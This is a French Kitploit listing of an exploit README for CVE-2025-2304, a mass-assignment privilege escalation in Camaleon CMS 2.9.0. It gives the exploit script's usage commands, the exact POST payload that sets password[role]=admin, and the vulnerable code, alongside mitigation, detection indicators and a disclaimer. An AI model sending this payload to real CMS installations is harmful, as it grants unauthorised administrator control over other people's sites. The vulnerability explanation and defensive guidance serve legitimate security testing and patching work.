Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-2304 — Ce script Python exploite une vulnérabilité critique d'assignation de masse dans Camaleon CMS version 2.9.0, permettant à tout utilisateur enregistré d'élever ses privilèges à ceux d'administrateur. | Kitploit
Outils/GitHubGitHub/csuribird/cve-2025-2304
Authentification et AutorisationEscalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionMauvaise ConfigurationApprentissage et Éducation
GitHubcsuribird/cve-2025-2304

CVE-2025-2304

Ce script Python exploite une vulnérabilité critique d'assignation de masse dans Camaleon CMS version 2.9.0, permettant à tout utilisateur enregistré d'élever ses privilèges à ceux d'administrateur.

5112il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2025-2304 - Camaleon CMS 2.9.0 - Exploit d'élévation de privilèges

Aperçu

Ce script Python exploite une vulnérabilité critique d'assignation massive dans Camaleon CMS version 2.9.0, permettant à tout utilisateur enregistré d'élever ses privilèges au niveau administrateur.

Détails de la vulnérabilité

  • CVE: CVE-2025-2304 - Assignation massive dans UsersController#updated_ajax
  • Version affectée : Camaleon CMS 2.9.0
  • Sévérité : Critique
  • Vecteur : La méthode permit! dans l'action updated_ajax permet à tous les paramètres de passer sans filtrage, y compris le paramètre role

Fonctionnement de l'exploit

  1. Authentification : Le script se connecte d'abord en tant qu'utilisateur enregistré normal
  2. Exploitation : Il envoie une requête POST à /admin/users/[id]/updated_ajax avec une charge malveillante : (Dans le script, j'ai utilisé l'ID 5 car c'est généralement celui attribué automatiquement. Cela peut nécessiter d'être modifié.)
    • password[role]=admin - Ce paramètre devrait être filtré, mais ne l'est pas à cause de permit!
    • password[password] et password[password_confirmation] - Met à jour le mot de passe de l'utilisateur (Lorsqu'un utilisateur normal avec un rôle client met à jour son profil, c'est techniquement user[role]=client, mais comme nous exploitons ici la vulnérabilité résultant de la fonctionnalité de changement de mot de passe, ce sera password[role]=admin.)
  3. Élévation de privilèges : Le rôle de l'utilisateur passe d'utilisateur normal à administrateur
  4. Vérification : Le script tente d'accéder aux points de terminaison réservés aux administrateurs pour confirmer le succès

Installation

pip install -r requirements.txt

Utilisation

python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword

Paramètres optionnels

  • --new-password : Définir un nouveau mot de passe lors de l'exploitation (par défaut, le mot de passe actuel)

Exemple

python camaleon_cms_privilege_escalation.py \
    --url http://192.168.1.100 \
    --username testuser \
    --password testpass123 \
    --new-password newadminpass

Détails techniques

Emplacement du code vulnérable

La vulnérabilité se trouve dans la méthode updated_ajax du UsersController :

def updated_ajax
  # Vulnerable code - uses permit! instead of specific parameter filtering
  @user.update(params.require(:user).permit!)
  # This allows ANY parameter to be mass-assigned, including role
end

Charge malveillante

POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded

password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch

Réponse attendue

{
  "success": true,
  "message": "User updated successfully"
}

Impact

  • Élévation de privilèges : Les utilisateurs normaux peuvent obtenir un accès administrateur
  • Compromission totale du système : L'accès administrateur permet un contrôle complet du CMS
  • Violation de données : Accès à toutes les données et contenus des utilisateurs
  • Persistance : Capacité à créer des portes dérobées et à maintenir l'accès

Atténuation

Pour les développeurs

Remplacez la méthode vulnérable permit! par un filtrage explicite des paramètres :

def updated_ajax
  @user.update(params.require(:user).permit(:password, :password_confirmation, :email))
  # Explicitly exclude: role parameter
end

Pour les administrateurs système

  1. Mettez à niveau vers une version corrigée de Camaleon CMS (2.9.1)
  2. Implémentez des contrôles d'accès basés sur les rôles
  3. Ajoutez la validation des entrées et le filtrage des paramètres
  4. Surveillez les tentatives suspectes d'élévation de privilèges

Avertissement légal

Ce script est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Veuillez ne pas utiliser cet exploit sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.

Détection

Les équipes de sécurité peuvent détecter les tentatives d'exploitation en surveillant :

  • Les requêtes POST vers /admin/users/[id]/updated_ajax avec le paramètre password[role]
  • Les changements de rôle inattendus dans les comptes utilisateurs
  • Les schémas d'élévation de privilèges dans les journaux d'audit

Références

  • Documentation sur la vulnérabilité d'assignation massive
  • Directives de sécurité Ruby on Rails
  • Avis de sécurité de Camaleon CMS
Télécharger l’outil